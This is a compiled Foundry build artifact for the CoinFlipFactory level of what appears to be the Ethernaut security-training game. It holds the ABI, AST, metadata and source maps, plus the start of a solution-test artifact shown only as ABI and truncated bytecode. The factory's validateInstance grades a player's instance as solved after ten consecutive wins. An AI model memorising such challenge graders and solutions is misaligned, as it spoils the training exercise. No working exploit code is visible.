304:203:62;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;304:203:62;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;151:147:62:-;225:7;276:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;261:30:62;151:147;-1:-1:-1;;151:147:62:o;304:203::-;396:4;412:17;441:9;412:39;;498:2;468:8;-1:-1:-1;;;;;468:24:62;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:32;;;304:203;-1:-1:-1;;;;304:203:62:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1640:2:155;2161:73:23::1;::::0;::::1;1622:21:155::0;1679:2;1659:18;;;1652:30;1718:34;1698:18;;;1691:62;1789:8;1769:18;;;1762:36;1815:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2047:2:155;1414:68:23;;;2029:21:155;;;2066:18;;;2059:30;2125:34;2105:18;;;2098:62;2177:18;;1414:68:23;1845:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:184::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;-1:-1:-1;1411:16:155;;1249:184;-1:-1:-1;1249:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/CoinFlipFactory.sol\":\"CoinFlipFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/CoinFlip.sol\":{\"keccak256\":\"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279\",\"dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c\"]},\"src/levels/CoinFlipFactory.sol\":{\"keccak256\":\"0x263282e629ecbe418645e581253500fc8ab94ef71830996a449244b4dc4eb804\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3eee5a72707142f9698668f12b90df0c2a26a52eda03db9eec0b954ebb25790f\",\"dweb:/ipfs/QmaT9q7LYVM4aurySzYAgEPv3CnXN7u1byuPqHJNNghYnP\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/CoinFlipFactory.sol":"CoinFlipFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/CoinFlip.sol":{"keccak256":"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976","urls":["bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279","dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c"],"license":"MIT"},"src/levels/CoinFlipFactory.sol":{"keccak256":"0x263282e629ecbe418645e581253500fc8ab94ef71830996a449244b4dc4eb804","urls":["bzz-raw://3eee5a72707142f9698668f12b90df0c2a26a52eda03db9eec0b954ebb25790f","dweb:/ipfs/QmaT9q7LYVM4aurySzYAgEPv3CnXN7u1byuPqHJNNghYnP"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/CoinFlipFactory.sol","id":50228,"exportedSymbols":{"CoinFlip":[50177],"CoinFlipFactory":[50227],"Context":[48281],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:477:62","nodes":[{"id":50179,"nodeType":"PragmaDirective","src":"33:23:62","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50180,"nodeType":"ImportDirective","src":"58:26:62","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":50228,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":50181,"nodeType":"ImportDirective","src":"85:24:62","nodes":[],"absolutePath":"src/levels/CoinFlip.sol","file":"./CoinFlip.sol","nameLocation":"-1:-1:-1","scope":50228,"sourceUnit":50178,"symbolAliases":[],"unitAlias":""},{"id":50227,"nodeType":"ContractDefinition","src":"111:398:62","nodes":[{"id":50202,"nodeType":"FunctionDefinition","src":"151:147:62","nodes":[],"body":{"id":50201,"nodeType":"Block","src":"234:64:62","nodes":[],"statements":[{"expression":{"id":50191,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50185,"src":"244:7:62","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50192,"nodeType":"ExpressionStatement","src":"244:7:62"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":50197,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"276:12:62","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_CoinFlip_$50177_$","typeString":"function () returns (contract CoinFlip)"},"typeName":{"id":50196,"nodeType":"UserDefinedTypeName","pathNode":{"id":50195,"name":"CoinFlip","nameLocations":["280:8:62"],"nodeType":"IdentifierPath","referencedDeclaration":50177,"src":"280:8:62"},"referencedDeclaration":50177,"src":"280:8:62","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}}},"id":50198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"276:14:62","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}],"id":50194,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"268:7:62","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50193,"name":"address","nodeType":"ElementaryTypeName","src":"268:7:62","typeDescriptions":{}}},"id":50199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"268:23:62","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":50190,"id":50200,"nodeType":"Return","src":"261:30:62"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"160:14:62","overrides":{"id":50187,"nodeType":"OverrideSpecifier","overrides":[],"src":"207:8:62"},"parameters":{"id":50186,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50185,"mutability":"mutable","name":"_player","nameLocation":"183:7:62","nodeType":"VariableDeclaration","scope":50202,"src":"175:15:62","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50184,"name":"address","nodeType":"ElementaryTypeName","src":"175:7:62","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"174:17:62"},"returnParameters":{"id":50190,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50189,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50202,"src":"225:7:62","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50188,"name":"address","nodeType":"ElementaryTypeName","src":"225:7:62","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"224:9:62"},"scope":50227,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":50226,"nodeType":"FunctionDefinition","src":"304:203:62","nodes":[],"body":{"id":50225,"nodeType":"Block","src":"402:105:62","nodes":[],"statements":[{"assignments":[50214],"declarations":[{"constant":false,"id":50214,"mutability":"mutable","name":"instance","nameLocation":"421:8:62","nodeType":"VariableDeclaration","scope":50225,"src":"412:17:62","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"},"typeName":{"id":50213,"nodeType":"UserDefinedTypeName","pathNode":{"id":50212,"name":"CoinFlip","nameLocations":["412:8:62"],"nodeType":"IdentifierPath","referencedDeclaration":50177,"src":"412:8:62"},"referencedDeclaration":50177,"src":"412:8:62","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"visibility":"internal"}],"id":50218,"initialValue":{"arguments":[{"id":50216,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50204,"src":"441:9:62","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":50215,"name":"CoinFlip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50177,"src":"432:8:62","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_CoinFlip_$50177_$","typeString":"type(contract CoinFlip)"}},"id":50217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"432:19:62","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"nodeType":"VariableDeclarationStatement","src":"412:39:62"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50223,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":50219,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50214,"src":"468:8:62","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"id":50220,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"477:15:62","memberName":"consecutiveWins","nodeType":"MemberAccess","referencedDeclaration":50099,"src":"468:24:62","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":50221,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"468:26:62","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"hexValue":"3130","id":50222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"498:2:62","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"468:32:62","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":50211,"id":50224,"nodeType":"Return","src":"461:39:62"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"313:16:62","overrides":{"id":50208,"nodeType":"OverrideSpecifier","overrides":[],"src":"378:8:62"},"parameters":{"id":50207,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50204,"mutability":"mutable","name":"_instance","nameLocation":"346:9:62","nodeType":"VariableDeclaration","scope":50226,"src":"330:25:62","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":50203,"name":"address","nodeType":"ElementaryTypeName","src":"330:15:62","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":50206,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50226,"src":"357:7:62","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50205,"name":"address","nodeType":"ElementaryTypeName","src":"357:7:62","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"329:36:62"},"returnParameters":{"id":50211,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50210,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50226,"src":"396:4:62","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50209,"name":"bool","nodeType":"ElementaryTypeName","src":"396:4:62","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"395:6:62"},"scope":50227,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50182,"name":"Level","nameLocations":["139:5:62"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"139:5:62"},"id":50183,"nodeType":"InheritanceSpecifier","src":"139:5:62"}],"canonicalName":"CoinFlipFactory","contractDependencies":[50177],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50227,55508,46700,48281],"name":"CoinFlipFactory","nameLocation":"120:15:62","scope":50228,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":62} \ No newline at end of file diff --git a/contracts/out/Coinflip.t.sol/TestCoinflip.json b/contracts/out/Coinflip.t.sol/TestCoinflip.json new file mode 100644 index 000000000..a6b66f92c --- /dev/null +++ b/contracts/out/Coinflip.t.sol/TestCoinflip.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b5061646e806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000